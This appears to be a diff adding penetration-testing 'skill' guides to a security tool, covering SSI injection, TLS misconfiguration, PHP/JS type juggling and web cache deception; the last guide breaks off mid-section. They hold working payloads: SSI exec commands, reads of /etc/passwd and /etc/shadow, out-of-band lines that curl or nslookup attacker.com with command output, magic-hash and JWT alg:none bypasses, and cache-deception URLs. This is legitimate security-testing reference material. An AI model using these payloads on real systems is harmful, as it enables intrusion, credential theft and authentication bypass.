description: Server-Side Includes injection for RCE via Apache/Nginx SSI directives in HTML responses
|
||||
---
|
||||
|
||||
# Server-Side Includes (SSI) Injection
|
||||
|
||||
SSI injection allows attackers to inject SSI directives into content that the web server processes before sending to the client. When user input is reflected in SSI-enabled files (`.shtml`, `.stm`, `.shtm`) or when SSI is enabled globally, injected directives can execute commands, read files, and exfiltrate data.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Enabled When**
|
||||
- Apache `mod_include` enabled with `Options +Includes` or `XBitHack`
|
||||
- Nginx SSI module (`ssi on`) in configuration
|
||||
- IIS Server Side Includes enabled
|
||||
- Files with extensions `.shtml`, `.shtm`, `.stm` being served
|
||||
- CGI/application output processed with SSI (`SSILegacyExprParser`)
|
||||
|
||||
**Injection Points**
|
||||
- User-controlled content included in SSI-processed files
|
||||
- Error pages (404, 500) that reflect request data
|
||||
- User profile fields, comments, forum posts rendered in `.shtml` pages
|
||||
- HTTP headers (User-Agent, Referer) reflected in SSI pages
|
||||
|
||||
## Directives Reference
|
||||
|
||||
```html
|
||||
<!--#echo var="DATE_LOCAL" --> # Current date
|
||||
<!--#echo var="DOCUMENT_NAME" --> # Current file
|
||||
<!--#echo var="HTTP_USER_AGENT" --> # Request header
|
||||
<!--#printenv --> # Print all env vars
|
||||
<!--#include file="../../etc/passwd" --> # Local file inclusion
|
||||
<!--#include virtual="/cgi-bin/test" --> # Execute CGI
|
||||
<!--#exec cmd="id" --> # Execute OS command
|
||||
<!--#exec cgi="/cgi-bin/test.cgi" --> # Execute CGI script
|
||||
<!--#set var="x" value="y" --> # Set variable
|
||||
<!--#if expr="$x = y" --> # Conditional
|
||||
<!--#config timefmt="%Y" --> # Configure output format
|
||||
```
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Command Execution
|
||||
|
||||
```html
|
||||
<!--#exec cmd="id"-->
|
||||
<!--#exec cmd="cat /etc/passwd"-->
|
||||
<!--#exec cmd="curl http://attacker.com/?x=`id`"-->
|
||||
<!--#exec cmd="ls /"-->
|
||||
<!--#exec cmd="whoami"-->
|
||||
```
|
||||
|
||||
### File Inclusion / Directory Traversal
|
||||
|
||||
```html
|
||||
<!--#include file="../../../../etc/passwd"-->
|
||||
<!--#include file="/etc/shadow"-->
|
||||
<!--#include file="../../config/database.yml"-->
|
||||
<!--#include virtual="/.htpasswd"-->
|
||||
```
|
||||
|
||||
### Environment Variable Disclosure
|
||||
|
||||
```html
|
||||
<!--#printenv-->
|
||||
<!--#echo var="HTTP_AUTHORIZATION"-->
|
||||
<!--#echo var="QUERY_STRING"-->
|
||||
<!--#echo var="SERVER_NAME"-->
|
||||
<!--#echo var="PATH_TRANSLATED"-->
|
||||
```
|
||||
|
||||
### XSS via SSI
|
||||
|
||||
If SSI output is not escaped and returned to client:
|
||||
```html
|
||||
<!--#echo var="QUERY_STRING"-->
|
||||
# URL: ?q=<script>alert(1)</script>
|
||||
# SSI echoes the raw value → XSS
|
||||
```
|
||||
|
||||
### Blind SSI (No Reflection)
|
||||
|
||||
Use OOB techniques:
|
||||
```html
|
||||
<!--#exec cmd="curl http://attacker.com/?x=`whoami|base64`"-->
|
||||
<!--#exec cmd="nslookup `hostname`.attacker.com"-->
|
||||
```
|
||||
|
||||
## Detection
|
||||
|
||||
**Probes**
|
||||
```html
|
||||
<!--#echo var="DATE_LOCAL"--> # Returns current date if SSI enabled
|
||||
<!--#printenv--> # Returns env vars
|
||||
<!--#exec cmd="sleep 5"--> # Time-based blind detection
|
||||
```
|
||||
|
||||
**Test String Variations**
|
||||
```
|
||||
<!--#exec cmd="id"-->
|
||||
<--#exec cmd="id"--> (slight variation for WAF bypass)
|
||||
<!--#exec%20cmd="id"-->
|
||||
\<!--#exec cmd="id"-->
|
||||
```
|
||||
|
||||
## Bypass Techniques
|
||||
|
||||
**HTML Entity Encoding**
|
||||
```
|
||||
<!--#exec cmd="id"-->
|
||||
<!-- Decoded by browser but SSI processes server-side raw content -->
|
||||
```
|
||||
|
||||
**URL Encoding in Request**
|
||||
```
|
||||
%3C%21--%23exec%20cmd%3D%22id%22--%3E
|
||||
```
|
||||
|
||||
**Whitespace Variants**
|
||||
```html
|
||||
<!-- #exec cmd = "id" -->
|
||||
<!--#exec
|
||||
cmd="id"-->
|
||||
```
|
||||
|
||||
**Null Byte**
|
||||
```html
|
||||
<!--#exec cmd="id"%00-->
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Identify SSI-enabled pages** — Look for `.shtml`, `.shtm` extensions; check Server headers
|
||||
2. **Test reflection points** — Find any user input that gets reflected in page content
|
||||
3. **Inject echo directive** — `<!--#echo var="DATE_LOCAL"-->` — safe, reveals SSI processing
|
||||
4. **Inject printenv** — `<!--#printenv-->` — dumps environment if SSI enabled
|
||||
5. **Escalate to exec** — `<!--#exec cmd="id"-->` for RCE
|
||||
6. **Blind SSI** — Use curl/nslookup OOB if output not reflected
|
||||
7. **File inclusion** — `<!--#include file="/etc/passwd"-->` for sensitive files
|
||||
|
||||
## Validation
|
||||
|
||||
1. Demonstrate `<!--#echo var="DATE_LOCAL"-->` renders as date (not literal string)
|
||||
2. Show `<!--#exec cmd="id"-->` output in response
|
||||
3. For blind: OAST callback with command output encoded in DNS/HTTP
|
||||
|
||||
## False Positives
|
||||
|
||||
- SSI disabled (directives returned as literal strings)
|
||||
- Input sanitized before inclusion in SSI-processed file
|
||||
- File not processed by SSI handler (wrong extension/config)
|
||||
|
||||
## Impact
|
||||
|
||||
- Remote code execution as web server user
|
||||
- Local file disclosure (configuration files, credentials, source code)
|
||||
- Environment variable exposure (API keys, database credentials)
|
||||
- SSRF via `virtual` includes to internal services
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. `<!--#printenv-->` is lower risk than `cmd` exec — use it first for safer detection
|
||||
2. Error pages (404/500) are often overlooked injection points for SSI
|
||||
3. HTTP headers (User-Agent, Referer) reflected in SSI-processed logs are classic vectors
|
||||
4. CGI scripts called via `virtual` include may have separate injection points
|
||||
5. Apache's `XBitHack` enables SSI on any world-executable file — check broader config
|
||||
6. In Docker environments, env vars often contain secrets → `<!--#printenv-->` is high-value
|
||||
|
||||
## Summary
|
||||
|
||||
SSI injection gives attackers the web server's SSI processing as a code execution engine. Any user-controlled content reflected in SSI-processed pages is vulnerable. Test echo and exec directives on every reflection point, particularly error pages and legacy `.shtml` pages.
|
||||
237
strix/skills/vulnerabilities/tls_ssl_misconfig.md
Normal file
237
strix/skills/vulnerabilities/tls_ssl_misconfig.md
Normal file
|
|
@ -0,0 +1,237 @@
|
|||
---
|
||||
name: tls-ssl-misconfig
|
||||
description: TLS/SSL misconfiguration testing — weak ciphers, expired certificates, protocol downgrades, and HSTS bypass
|
||||
---
|
||||
|
||||
# TLS/SSL Misconfiguration
|
||||
|
||||
TLS misconfigurations expose encrypted communications to interception, allow protocol downgrade attacks, and enable MITM scenarios. While modern automated tooling has improved defaults, custom configurations, legacy systems, and improper certificate management remain common sources of vulnerabilities.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Assessment Targets**
|
||||
- HTTPS endpoints (web, API, WebSocket wss://)
|
||||
- Mail servers (SMTP/IMAP/POP3 with STARTTLS)
|
||||
- VPN endpoints
|
||||
- Database connections (MySQL/PostgreSQL TLS)
|
||||
- Internal services with TLS
|
||||
|
||||
## Testing Tools
|
||||
|
||||
```bash
|
||||
# testssl.sh (most comprehensive)
|
||||
testssl.sh https://target.com
|
||||
testssl.sh --full --html --jsonfile result.json https://target.com
|
||||
|
||||
# SSLyze
|
||||
sslyze --regular target.com:443
|
||||
|
||||
# Nmap SSL scripts
|
||||
nmap -sV --script ssl-enum-ciphers,ssl-heartbleed,ssl-poodle -p 443 target.com
|
||||
|
||||
# OpenSSL manual testing
|
||||
openssl s_client -connect target.com:443
|
||||
openssl s_client -connect target.com:443 -tls1 # Test TLS 1.0
|
||||
openssl s_client -connect target.com:443 -ssl3 # Test SSLv3
|
||||
|
||||
# sslscan
|
||||
sslscan target.com:443
|
||||
|
||||
# Online tools
|
||||
# ssllabs.com/ssltest/
|
||||
# hardenize.com
|
||||
```
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Protocol Version Issues
|
||||
|
||||
```bash
|
||||
# SSLv2 (Critical — completely broken)
|
||||
openssl s_client -connect target.com:443 -ssl2
|
||||
|
||||
# SSLv3 (Critical — POODLE CVE-2014-3566)
|
||||
openssl s_client -connect target.com:443 -ssl3
|
||||
|
||||
# TLS 1.0 (High — deprecated, BEAST, POODLE-TLS)
|
||||
openssl s_client -connect target.com:443 -tls1
|
||||
|
||||
# TLS 1.1 (Medium — deprecated March 2021)
|
||||
openssl s_client -connect target.com:443 -tls1_1
|
||||
|
||||
# Acceptable: TLS 1.2, TLS 1.3
|
||||
```
|
||||
|
||||
### Weak Cipher Suites
|
||||
|
||||
```bash
|
||||
# Test specific ciphers
|
||||
openssl s_client -connect target.com:443 -cipher RC4-MD5
|
||||
openssl s_client -connect target.com:443 -cipher DES-CBC3-SHA
|
||||
openssl s_client -connect target.com:443 -cipher NULL-MD5
|
||||
openssl s_client -connect target.com:443 -cipher EXPORT
|
||||
|
||||
# Dangerous cipher properties:
|
||||
# NULL ciphers (no encryption)
|
||||
# Export ciphers (40/56-bit keys — FREAK CVE-2015-0204)
|
||||
# RC4 (broken stream cipher)
|
||||
# DES/3DES (64-bit block — Sweet32 CVE-2016-2183)
|
||||
# Anonymous DH/ECDH (no server authentication)
|
||||
# CBC mode without proper MAC (BEAST, LUCKY13)
|
||||
```
|
||||
|
||||
### Certificate Vulnerabilities
|
||||
|
||||
```bash
|
||||
# Check certificate details
|
||||
openssl s_client -connect target.com:443 | openssl x509 -text -noout
|
||||
|
||||
# Expired certificate
|
||||
openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -dates
|
||||
|
||||
# Self-signed certificate
|
||||
# Common name mismatch (wrong domain)
|
||||
# Weak signature algorithm (MD5, SHA1)
|
||||
openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -sigalg
|
||||
|
||||
# Certificate chain issues
|
||||
# Incomplete chain (missing intermediates)
|
||||
# Root CA not trusted
|
||||
|
||||
# Wildcard abuse
|
||||
# *.target.com covers all subdomains — subdomain takeover = certificate mismatch
|
||||
```
|
||||
|
||||
### Known Attacks
|
||||
|
||||
```bash
|
||||
# Heartbleed (CVE-2014-0160) — OpenSSL memory leak
|
||||
nmap --script ssl-heartbleed -p 443 target.com
|
||||
testssl.sh --heartbleed target.com
|
||||
|
||||
# POODLE (CVE-2014-3566) — SSLv3 padding oracle
|
||||
testssl.sh --poodle target.com
|
||||
|
||||
# BEAST (CVE-2011-3389) — TLS 1.0 CBC
|
||||
# Mitigated by modern browsers, but server config matters
|
||||
|
||||
# CRIME (CVE-2012-4929) — TLS compression
|
||||
testssl.sh --crime target.com
|
||||
openssl s_client -connect target.com:443 | grep Compression
|
||||
|
||||
# BREACH (CVE-2013-3587) — HTTP compression (not TLS-level)
|
||||
curl -H "Accept-Encoding: gzip" -I https://target.com
|
||||
|
||||
# ROBOT (CVE-2017-13099) — RSA PKCS#1 v1.5 oracle
|
||||
testssl.sh --robot target.com
|
||||
|
||||
# LUCKY13 — Timing attack on CBC
|
||||
# Mitigated in modern TLS stacks
|
||||
|
||||
# FREAK (CVE-2015-0204) — Export cipher downgrade
|
||||
testssl.sh --freak target.com
|
||||
|
||||
# Logjam (CVE-2015-4000) — DHE downgrade to export
|
||||
testssl.sh --logjam target.com
|
||||
openssl s_client -connect target.com:443 -cipher DHE-RSA-DES-CBC-SHA
|
||||
```
|
||||
|
||||
### HSTS Issues
|
||||
|
||||
```bash
|
||||
# Missing HSTS
|
||||
curl -I https://target.com | grep -i strict
|
||||
|
||||
# Short max-age
|
||||
Strict-Transport-Security: max-age=300 # Easily expired
|
||||
|
||||
# No includeSubDomains
|
||||
Strict-Transport-Security: max-age=31536000 # Subdomains still vulnerable
|
||||
|
||||
# Not in preload list
|
||||
# https://hstspreload.org/?domain=target.com
|
||||
|
||||
# HTTP accessible (HSTS doesn't help on first visit without preload)
|
||||
curl http://target.com # Should redirect to HTTPS, not serve content
|
||||
```
|
||||
|
||||
### Mixed Content
|
||||
|
||||
```
|
||||
# Page served over HTTPS but resources loaded over HTTP:
|
||||
# <script src="http://target.com/app.js">
|
||||
# <img src="http://cdn.target.com/image.png">
|
||||
# Active mixed content (scripts, iframes) = blocked by modern browsers
|
||||
# Passive mixed content (images) = warning
|
||||
# Mixed content via JavaScript: fetch('http://...')
|
||||
```
|
||||
|
||||
### Certificate Transparency
|
||||
|
||||
```bash
|
||||
# Check CT logs for issued certificates
|
||||
curl "https://crt.sh/?q=target.com&output=json" | jq '.[].name_value'
|
||||
# Reveals: subdomains, internal hostnames, historical certs
|
||||
# Look for: dev., staging., internal., admin. subdomains
|
||||
|
||||
# Check for unexpected wildcard certs
|
||||
# Check for certs issued by unknown/untrusted CAs
|
||||
```
|
||||
|
||||
### TLS Interception (Proxy Detection)
|
||||
|
||||
```bash
|
||||
# TLS fingerprinting — JA3 hash
|
||||
# If TLS fingerprint changes between client and server, proxy/interception in path
|
||||
# Use ja3.zone to compare
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Run testssl.sh** — Comprehensive automated scan
|
||||
2. **Check protocol versions** — SSLv2/3, TLS 1.0/1.1 support
|
||||
3. **Audit cipher suites** — NULL, export, RC4, anonymous, EXPORT ciphers
|
||||
4. **Validate certificate** — Expiry, chain, SANs, CN match, signing algorithm
|
||||
5. **Known CVEs** — Heartbleed, POODLE, ROBOT, FREAK, Logjam
|
||||
6. **HSTS** — Check header, max-age, includeSubDomains, preload
|
||||
7. **Mixed content** — Inspect all resources loaded on HTTPS pages
|
||||
8. **Certificate Transparency** — crt.sh enumeration for exposed subdomains
|
||||
|
||||
## Validation
|
||||
|
||||
1. Show testssl.sh output with specific failing tests
|
||||
2. Confirm protocol/cipher handshake success with openssl command
|
||||
3. For certificate issues: show expiry date or chain validation error
|
||||
4. For HSTS: show header value and explain the weakness
|
||||
|
||||
## False Positives
|
||||
|
||||
- TLS 1.0 disabled at load balancer level but not backend (backend unreachable directly)
|
||||
- "Expired" certificate on an internal hostname not serving real traffic
|
||||
- Cipher listed as supported but not actually negotiated by server
|
||||
|
||||
## Impact
|
||||
|
||||
| Issue | Impact |
|
||||
|-------|--------|
|
||||
| SSLv2/3 or TLS 1.0 | Active MITM possible, session decryption |
|
||||
| NULL/export ciphers | Encryption bypass |
|
||||
| Heartbleed | Server memory disclosure, private key extraction |
|
||||
| Expired certificate | User trust warning, potential MITM |
|
||||
| Missing HSTS | SSL stripping attacks |
|
||||
| Mixed content | HTTP resources interceptable |
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. testssl.sh is the industry standard — run it first on every HTTPS endpoint
|
||||
2. Don't just scan port 443 — check 8443, 8080, API endpoints, WebSocket ports
|
||||
3. Certificate Transparency enumeration (crt.sh) is free intel for recon
|
||||
4. HSTS without preload doesn't protect first-time visitors — important context
|
||||
5. In bug bounty, Heartbleed/POODLE are usually Critical if confirmed → immediate disclosure
|
||||
6. Mixed content on login pages is higher severity (credentials over HTTP)
|
||||
7. Short `max-age` on HSTS is a finding but usually low — explain the real-world risk
|
||||
8. Check internal services too — they often have expired or self-signed certs creating MITM risk
|
||||
|
||||
## Summary
|
||||
|
||||
TLS misconfigurations range from critical (Heartbleed, POODLE) to informational (weak cipher preference). Use testssl.sh for systematic testing, focus on protocol versions and known CVEs first, then certificate validation and HSTS. Internal services often have worse TLS hygiene than externally-facing ones.
|
||||
232
strix/skills/vulnerabilities/type_juggling.md
Normal file
232
strix/skills/vulnerabilities/type_juggling.md
Normal file
|
|
@ -0,0 +1,232 @@
|
|||
---
|
||||
name: type-juggling
|
||||
description: Type juggling and type confusion attacks in PHP, JavaScript, and other loosely-typed languages
|
||||
---
|
||||
|
||||
# Type Juggling / Type Confusion
|
||||
|
||||
Type juggling exploits how loosely-typed languages compare values of different types. PHP's `==` operator, JavaScript's `==`, and JSON type coercion can produce unexpected equality results that bypass authentication, signature verification, and input validation.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Vulnerable Languages**
|
||||
- PHP (most severe — `==` with type coercion)
|
||||
- JavaScript (`==` loose equality, `parseInt`, JSON parsing)
|
||||
- Python (limited, but type confusion in certain comparisons)
|
||||
- Ruby (similar loose equality patterns)
|
||||
- Java (type confusion in serialization, `instanceof` bypass)
|
||||
|
||||
**Common Contexts**
|
||||
- Authentication token/hash comparison
|
||||
- Password reset token validation
|
||||
- Admin privilege checks (`role == 0`)
|
||||
- Signature verification
|
||||
- JSON input parsing
|
||||
- Version/feature flag comparisons
|
||||
|
||||
## PHP Type Juggling
|
||||
|
||||
### Loose Comparison Table (==)
|
||||
|
||||
```php
|
||||
// PHP == comparison surprises:
|
||||
0 == "a" // TRUE (string "a" cast to int 0)
|
||||
0 == "" // TRUE
|
||||
0 == "foo" // TRUE (string starting with non-numeric)
|
||||
0 == "0.0" // TRUE
|
||||
0 == false // TRUE
|
||||
0 == null // TRUE
|
||||
"1" == "01" // TRUE
|
||||
"10" == "1e1" // TRUE
|
||||
100 == "1e2" // TRUE
|
||||
"0" == false // TRUE
|
||||
"" == false // TRUE
|
||||
"" == null // TRUE
|
||||
"0" == null // FALSE (!)
|
||||
null == false // TRUE
|
||||
true == 1 // TRUE
|
||||
true == "a" // TRUE
|
||||
true == 2 // TRUE
|
||||
"1" == true // TRUE
|
||||
"0" == false // TRUE
|
||||
```
|
||||
|
||||
### Hash Comparison Bypass (Magic Hashes)
|
||||
|
||||
PHP's `==` treats strings starting with `0e` followed by digits as scientific notation (0):
|
||||
```php
|
||||
// All of these equal each other with ==:
|
||||
"0e462097431906509019562988736854" == "0e830400451993494058024219903391"
|
||||
md5("240610708") // "0e462097431906509019562988736854"
|
||||
md5("QNKCDZO") // "0e830400451993494058024219903391"
|
||||
md5("aabg7XSs") // "0e087386482136013740957780965295"
|
||||
md5("aabC9RqS") // "0e041022518165728065344349536299"
|
||||
sha1("aaroZmOk") // "0e66507019969427134894567494305185566735"
|
||||
sha1("aaK1STfY") // "0e76658526655756207688271159624026011393"
|
||||
```
|
||||
|
||||
Attack:
|
||||
```php
|
||||
// Vulnerable code:
|
||||
if (md5($token) == $stored_hash) { login(); }
|
||||
// If stored_hash is a 0e magic hash, any magic hash token bypasses
|
||||
```
|
||||
|
||||
### Array/Object Bypass
|
||||
|
||||
```php
|
||||
// Vulnerable:
|
||||
if ($input == "expected_value") { ... }
|
||||
// Input: array() — PHP: array == string → false... BUT:
|
||||
// Some comparison chains:
|
||||
if (strcmp($input, "expected") == 0) { ... }
|
||||
// strcmp(array, string) returns NULL in PHP < 5.3.3
|
||||
// NULL == 0 → TRUE → bypass!
|
||||
```
|
||||
|
||||
### Null Byte / Type Coercion in Auth
|
||||
|
||||
```php
|
||||
// JSON input: {"role": true, "admin": 1}
|
||||
// PHP json_decode → stdClass with boolean/int
|
||||
// If compared: $user->role == 0 → true == 0 → FALSE (safe)
|
||||
// But: $user->role == 1 → true == 1 → TRUE (bypass admin check)
|
||||
```
|
||||
|
||||
## JavaScript Type Juggling
|
||||
|
||||
### Loose Equality
|
||||
|
||||
```javascript
|
||||
0 == false // true
|
||||
0 == "" // true
|
||||
0 == "0" // false (!)
|
||||
"" == false // true
|
||||
"" == "0" // false
|
||||
null == undefined // true
|
||||
null == false // false (!)
|
||||
NaN == NaN // false
|
||||
|
||||
// parseInt tricks:
|
||||
parseInt("123abc") === 123 // Stops at non-numeric
|
||||
parseInt("0x10") === 16 // Hex parsing
|
||||
|
||||
// JSON parsing:
|
||||
JSON.parse("01") // SyntaxError or 1 depending on engine
|
||||
```
|
||||
|
||||
### Array Comparison
|
||||
|
||||
```javascript
|
||||
[] == false // true
|
||||
[] == 0 // true
|
||||
[] == "" // true
|
||||
[1] == 1 // true
|
||||
["1"] == 1 // true
|
||||
```
|
||||
|
||||
## JSON Type Confusion
|
||||
|
||||
**Boolean/Number Injection**
|
||||
```json
|
||||
// Sending boolean where string expected:
|
||||
{"admin": true} // vs {"admin": "false"}
|
||||
{"role": 0} // vs {"role": "user"}
|
||||
{"age": null} // vs {"age": 0}
|
||||
|
||||
// If server checks: if (role == "admin") → role=true might pass
|
||||
// If server checks: if (!isAdmin) → isAdmin=[] (truthy) might bypass
|
||||
```
|
||||
|
||||
**Type Coercion in JWT**
|
||||
|
||||
```json
|
||||
// alg: none attack (separate from juggling but related)
|
||||
{"alg": "none", "typ": "JWT"}
|
||||
// Or: {"alg": "None"}, {"alg": "NONE"}, {"alg": "nOnE"}
|
||||
|
||||
// HS256 vs RS256 confusion:
|
||||
// Server expects RS256 public key verification
|
||||
// Attacker uses public key as HS256 secret → forged tokens
|
||||
```
|
||||
|
||||
## Bypass Techniques
|
||||
|
||||
**PHP Hash Bypass Wordlist**
|
||||
|
||||
```
|
||||
# MD5 0e magic values (hash starts with 0e[digits]):
|
||||
240610708, QNKCDZO, aabg7XSs, aabC9RqS, aaK1STfY, aaO8zKZF
|
||||
|
||||
# SHA1 0e magic values:
|
||||
aaroZmOk, aaK1STfY, aaO8zKZF, aa3OFF9m, aa17YY7s
|
||||
|
||||
# MD5 0e with uppercase:
|
||||
0E215962017
|
||||
|
||||
# Use with: if (md5($_GET['hash']) == "0e...") { bypass(); }
|
||||
```
|
||||
|
||||
**strcmp() NULL Bypass**
|
||||
|
||||
```
|
||||
# PHP: strcmp(array(), "string") returns NULL
|
||||
# NULL == 0 → true
|
||||
# Send: password[]=anything in POST body
|
||||
```
|
||||
|
||||
**Type Coercion in Switch**
|
||||
|
||||
```php
|
||||
// PHP switch uses ==:
|
||||
switch ($input) {
|
||||
case 0: admin_access(); break;
|
||||
case "user": user_access(); break;
|
||||
}
|
||||
// Input: "any_string" → PHP: "any_string" == 0 → TRUE → admin_access()
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Identify comparison points** — Auth tokens, role checks, signature validation, feature flags
|
||||
2. **Test boolean inputs** — Submit `true`, `false`, `1`, `0`, `null` via JSON
|
||||
3. **Test array inputs** — `param[]=value` in POST, `[value]` in JSON
|
||||
4. **Test 0e hash values** — Known magic MD5/SHA1 values for hash comparison bypass
|
||||
5. **Test type confusion in JWT** — alg:none, alg confusion (HS256 with RS256 key)
|
||||
6. **Test PHP strcmp** — Send array for string comparison parameters
|
||||
7. **Test JavaScript** — Look for `==` in client-side auth logic
|
||||
|
||||
## Validation
|
||||
|
||||
1. Demonstrate authentication bypass using a type confusion payload
|
||||
2. Show the specific comparison that is bypassed and why
|
||||
3. For PHP: show magic hash values returning equal comparison
|
||||
4. For JWT: show forged token accepted
|
||||
|
||||
## False Positives
|
||||
|
||||
- Application uses strict comparison (`===` in PHP/JS)
|
||||
- Typed language (Go, Rust, Java) without dynamic type coercion
|
||||
- Input validated and cast to expected type before comparison
|
||||
- `hash_equals()` used instead of `==` for hash comparison
|
||||
|
||||
## Impact
|
||||
|
||||
- Authentication bypass (login without valid credentials)
|
||||
- Privilege escalation (user → admin via type confusion)
|
||||
- Signature/hash verification bypass
|
||||
- Token forgery (JWT algorithm confusion)
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. PHP magic hashes are a classic CTF/bug bounty vector — always test on hash comparison endpoints
|
||||
2. JSON API? Try sending `true`/`false`/`null`/`0` for string parameters, especially role/admin fields
|
||||
3. `===` (strict equality) prevents type juggling — look for `==` in PHP source code reviews
|
||||
4. JWT `alg: none` bypass is still found in production — especially in internal tools
|
||||
5. PHP's `in_array()` also uses loose comparison by default — test with `0` against string arrays
|
||||
6. Python `__eq__` overloads can introduce type confusion in custom objects
|
||||
7. `bcrypt_verify("0e12345", $hash)` — PHP bcrypt truncates at null byte — test `\x00` in passwords
|
||||
|
||||
## Summary
|
||||
|
||||
Type juggling turns loose equality operators into security vulnerabilities. PHP's `==` and JSON type coercion are the most dangerous. Use strict comparisons, validate and cast inputs to expected types, and use constant-time comparison functions (`hash_equals`) for security-sensitive values.
|
||||
191
strix/skills/vulnerabilities/web_cache_deception.md
Normal file
191
strix/skills/vulnerabilities/web_cache_deception.md
Normal file
|
|
@ -0,0 +1,191 @@
|
|||
---
|
||||
name: web-cache-deception
|
||||
description: Web cache deception testing — tricking caches into storing authenticated user responses for attacker retrieval
|
||||
---
|
||||
|
||||
# Web Cache Deception
|
||||
|
||||
Web Cache Deception (WCD) tricks a caching layer into storing a response containing sensitive, user-specific data, which an attacker then retrieves. It's the inverse of cache poisoning: instead of poisoning what other users receive, the attacker makes the cache store what the victim's session returns.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Required Conditions**
|
||||
1. App returns authenticated/sensitive content for URLs it doesn't recognize (often the "base" path is returned)
|
||||
2. Cache stores responses based on URL path containing static-looking extensions or path segments
|
||||
3. Attacker can trick victim into visiting a crafted URL (social engineering or stored link)
|
||||
|
||||
**Cache Layers**
|
||||
- CDN (Cloudflare, Akamai, Fastly, CloudFront)
|
||||
- Reverse proxy caches (Nginx, Varnish)
|
||||
- Application-level caches
|
||||
- Browser caches (less useful for WCD)
|
||||
|
||||
**Trigger Patterns**
|
||||
- Appending fake static file extensions: `/account.php/nonexistent.css`
|
||||
- Path parameter injection: `/profile;.js`
|
||||
- URL delimiter confusion: `/account%0a.css`, `/account%23.css`
|
||||
- Cached path segment: `/account/..%2Fstatic.css`
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Classic Path Confusion
|
||||
|
||||
App serves `/account/` content for unknown sub-paths, cache stores it as static:
|
||||
```
|
||||
# Attacker crafts URL:
|
||||
https://target.com/account/sensitive.css
|
||||
|
||||
# App behavior: returns /account/ page with victim session data
|
||||
# Cache behavior: sees .css extension → caches response
|
||||
|
||||
# Attacker later fetches same URL (unauthenticated):
|
||||
GET /account/sensitive.css → Gets victim's account page from cache
|
||||
```
|
||||
|
||||
### Delimiter Confusion
|
||||
|
||||
Different URL delimiters interpreted differently by cache vs. app:
|
||||
```
|
||||
# Cache normalizes ; as path separator, app sees it as extension start
|
||||
/profile;.css → Cache caches as CSS, app serves /profile
|
||||
/dashboard%0a.jpg → Cache path includes newline, app strips
|
||||
/user%23.js → Cache sees /user#.js, app serves /user
|
||||
/api/v1%2f..%2faccount.css → Path traversal after unescaping
|
||||
```
|
||||
|
||||
**Cache-App Delimiter Differentials**
|
||||
| Delimiter | Cache behavior | App behavior |
|
||||
|-----------|---------------|--------------|
|
||||
| `;` | Path separator | Ignored/stripped |
|
||||
| `%0a` | Part of path | Strip/normalize |
|
||||
| `%23` | Literal # | Fragment (ignored) |
|
||||
| `%2f` | Literal slash | Decoded to `/` |
|
||||
| `%09` | Tab in path | Stripped |
|
||||
|
||||
### Path Parameter Injection
|
||||
|
||||
```
|
||||
/account/..;/static.css
|
||||
/user/profile/../../../cache.png
|
||||
/api/user/1.json%00.css
|
||||
```
|
||||
|
||||
### Static Directory Poisoning
|
||||
|
||||
If authenticated pages are under `/app/` and `/static/` is cached:
|
||||
```
|
||||
/app/dashboard/../static/x.js → App serves dashboard, cache stores as /static/x.js
|
||||
```
|
||||
|
||||
### Unkeyed Headers Causing WCD
|
||||
|
||||
When `Vary` header is missing and the cache doesn't key on `Cookie`/`Authorization`:
|
||||
```
|
||||
GET /profile HTTP/1.1
|
||||
Cookie: session=VICTIM_SESSION
|
||||
# If cache doesn't key on Cookie, first response cached for all users
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Identify cached endpoints** — Look for `Cache-Control: public`, `Age:` header, `X-Cache: HIT`, CDN headers
|
||||
2. **Identify cacheable extensions** — `.css`, `.js`, `.png`, `.jpg`, `.ico`, `.woff`, `.svg`
|
||||
3. **Test path confusion** — Append `/fake.css` to authenticated endpoints and check if cached
|
||||
4. **Check cache keying** — Does the cache key include `Cookie` or `Authorization`? Test with `Vary` header
|
||||
5. **Deliver to victim** — Trick victim into visiting crafted URL (via redirect, link in message)
|
||||
6. **Fetch as attacker** — Request same URL without cookies → verify sensitive data returned
|
||||
7. **Test delimiter variants** — `;`, `%0a`, `%23`, `%2f`, `%00`, `%09`, `%0d`
|
||||
8. **Test path traversal** — `/../`, `/%2e%2e/`, `/%2f..%2f`
|
||||
|
||||
## Exploitation Flow
|
||||
|
||||
```
|
||||
1. Find: GET /account/settings → Returns sensitive user data (authenticated)
|
||||
2. Craft: GET /account/settings/nonexistent.css (victim visits this)
|
||||
3. Cache stores the response keyed to /account/settings/nonexistent.css
|
||||
4. Attacker fetches: GET /account/settings/nonexistent.css (no cookie)
|
||||
5. Cache returns victim's settings page
|
||||
```
|
||||
|
||||
### Delivery Mechanisms
|
||||
|
||||
- Email link / phishing
|
||||
- XSS → `window.location` redirect to crafted URL
|
||||
- Open redirect to crafted URL
|
||||
- CSRF to force victim to load URL via `<img src=...>`
|
||||
- Stored content (forums, comments, profiles with links)
|
||||
|
||||
## Bypass Techniques
|
||||
|
||||
**Cache Buster Avoidance**
|
||||
- Don't add query params (they may be included in cache key)
|
||||
- Use path-based variations, not query strings
|
||||
|
||||
**Extension Alternatives**
|
||||
```
|
||||
.css, .js, .png, .jpg, .gif, .ico, .svg, .woff, .woff2, .ttf, .eot
|
||||
.json (sometimes cached), .xml, .txt, .pdf
|
||||
```
|
||||
|
||||
**When Semicolons Are Blocked**
|
||||
```
|
||||
%3b = ;
|
||||
%2f = /
|
||||
%3f = ?
|
||||
%23 = #
|
||||
%00 = null byte
|
||||
%0a = newline
|
||||
```
|
||||
|
||||
## Cache Headers Reference
|
||||
|
||||
**Indicators of Caching**
|
||||
```
|
||||
Age: 42 # Seconds since cached
|
||||
X-Cache: HIT # Cache hit
|
||||
